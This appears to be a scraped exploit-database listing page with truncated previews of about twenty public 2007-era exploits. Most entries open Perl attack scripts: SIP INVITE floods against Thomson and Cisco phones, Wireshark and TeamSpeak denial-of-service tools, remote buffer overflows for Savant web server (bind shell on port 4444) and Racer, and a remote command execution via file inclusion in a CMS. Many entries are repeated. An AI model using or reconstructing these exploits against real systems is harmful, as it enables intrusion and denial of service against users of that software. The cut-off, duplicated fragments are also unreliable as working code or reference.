Wireshark < 0.99.5 - DNP3 Dissector Infinite Loop

!/usr/bin/perl Automatically generated by beSTORMtm Copyright Beyond Security c 2003-2007 $Revision: 3741 $ Attack vector: M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0 Module: DNP3 use strict; use warnings; use Getopt::Std; use IO::Socket::INET; $SIGINT = \ my $host = '192.168.4.52'; my $port = 20000; my...

Thomson SIP phone ST 2030 Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl Vulneravility for Thomson 2030 firmware v1.52.1 It provokes a DoS in the device. use IO::Socket::INET; die "Usage $0 dst port username" unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE...

Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service

Thomson SpeedTouch ST 2030 SIP Phone - Remote Denial of Service !/usr/bin/perl Vulneravility for Thomson 2030 firmware v1.52.1 It provokes a DoS in the device. use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg ...

Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service

!/usr/bin/perl Vulneravility for Thomson 2030 firmware v1.52.1 It provokes a DoS in the device. use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\r\nVia: SIP/2.0/UDP...

Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service

Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service !/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\r\nVia:...

Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service

!/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = "INVITE sip:$ARGV2@$ARGV0 SIP/2.0\r\nVia: SIP/2.0/UDP\t192.168.1.2;rport;branch=00\r\nFrom: ;tag=00\r\nTo: ;tag=00\r\nCall-ID:...

[SECURITY] Fedora 7 Update: sysstat-7.0.4-3.fc7

This package provides the sar and iostat commands for Linux. Sar and iostat enable system monitoring of disk, network, and other IO activity...

mercury-poc.txt

If there are images in this attachment, they will not be displayed. Download the original attachment Mercury Mail Transport System Remote Stack Based Overflow Overview Mercury Mail Transport System: Mercury is a free, standards-based mail server solution, providing comprehensive, fast server...

Mercury SMTPD Remote Preauth Stack Based Overrun PoC

Exploit for unknown platform in category dos / poc ==================================================== Mercury SMTPD Remote Preauth Stack Based Overrun PoC ==================================================== If there are images in this attachment, they will not be displayed. Download the origin...

savant-overflow.txt

!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...

racer-overflow.txt

!/usr/bin/perl Credit's to n00b. Racer v0.5.3 beta 5 12-03-07 remote exploit. Racer is also prone to a buffer over flow in the server and client.Automatically the game open's Udp port 26000 and is waiting for a msg buffer. If we send an overly long buffer we are able to Control the eip register a...

Savant 3.1 Get Request Remote Overflow Exploit (Universal)

No description provided by source. !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl victim port\n\n"; exit; $victim = IO::Socket::INET-newProto='tcp',...

Racer 0.5.3 Beta 5 - Remote Buffer Overflow

Racer 0.5.3 Beta 5 - Remote Buffer Overflow !/usr/bin/perl Credit's to n00b. Racer v0.5.3 beta 5 12-03-07 remote exploit. Racer is also prone to a buffer over flow in the server and client.Automatically the game open's Udp port 26000 and is waiting for a msg buffer. If we send an overly long buff...

Racer 0.5.3 Beta 5 - Remote Buffer Overflow

!/usr/bin/perl Credit's to n00b. Racer v0.5.3 beta 5 12-03-07 remote exploit. Racer is also prone to a buffer over flow in the server and client.Automatically the game open's Udp port 26000 and is waiting for a msg buffer. If we send an overly long buffer we are able to Control the eip register a...

Savant Web Server 3.1 - GET Universal Remote Overflow

Savant Web Server 3.1 - GET Universal Remote Overflow !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp'...

Savant 3.1 Get Request Remote Overflow Exploit (Universal)

Exploit for unknown platform in category remote exploits ========================================================== Savant 3.1 Get Request Remote Overflow Exploit Universal ========================================================== !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof...

ecms-exec.txt

!/usr/bin/perl Entertainment CMS Remote Command Execution Exploit Download: http://rapidshare.com/files/39640099/enter-cms.rar Exploit: http://site.com/path/custom.php?pagename=Local File Inclusion; Example: http://multimedia.mydlstore.net/custom.php?pagename=teeeeeeeeeeee RST WAS MOVED TO...

TeamSpeak 2.0 (Windows Release) - Remote Denial of Service

TeamSpeak 2.0 Windows Release - Remote Denial of Service !/usr/bin/perl TeamSpeak 2.0 Windows Release Remote D0S Exploit by Yag Kohha skyhole at gmail.com Vendor URL: http://www.goteamspeak.com/ TeamSpeak WebServer has no tcp session expire and no checks for incoming values length. TODO: Edit...

TeamSpeak 2.0 (Windows Release) - Remote Denial of Service

!/usr/bin/perl TeamSpeak 2.0 Windows Release Remote D0S Exploit by Yag Kohha skyhole at gmail.com Vendor URL: http://www.goteamspeak.com/ TeamSpeak WebServer has no tcp session expire and no checks for incoming values length. TODO: Edit $target value Run script CPU 100%, Memory up for 1.2 Gb per...

Trend Micro OfficeScan session cookie buffer overflow

Added: 07/20/2007 CVE: CVE-2007-3454 BID: 24641 OSVDB: 36629 Background Trend Micro OfficeScan is a centralized virus and security scan management system. Problem A buffer overflow vulnerability in the CGIOCommon.dll shared library allows remote attackers to execute arbitrary commands by sending ...